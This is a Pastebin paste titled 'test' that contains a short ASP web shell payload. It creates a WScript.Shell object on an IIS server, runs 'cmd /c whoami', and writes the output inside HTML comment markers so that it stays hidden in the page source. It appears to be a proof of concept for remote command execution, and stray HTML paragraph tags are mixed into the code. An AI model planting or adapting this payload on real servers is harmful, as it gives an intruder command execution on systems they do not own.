Advertisement
Guest User

test

a guest
Sep 4th, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 0.56 KB | None | 0 0
  1. <!-
  2. <% Response.write("-" & "->")
  3. Response.write("</p>
  4. <pre>")</p>
  5. <p>Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  6. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  7. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  8. Function getCommandOutput(theCommand)
  9. Dim objShell, objCmdExec
  10. Set objShell = CreateObject("WScript.Shell")
  11. Set objCmdExec = objshell.exec(thecommand)
  12. getCommandOutput = objCmdExec.StdOut.ReadAll
  13. end Function</p>
  14.  
  15. <p>Response.write(getCommandOutput('cmd /c whoami'))
  16. Response.write("</pre>
  17. </p><!-" & "-")%>
  18. ->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement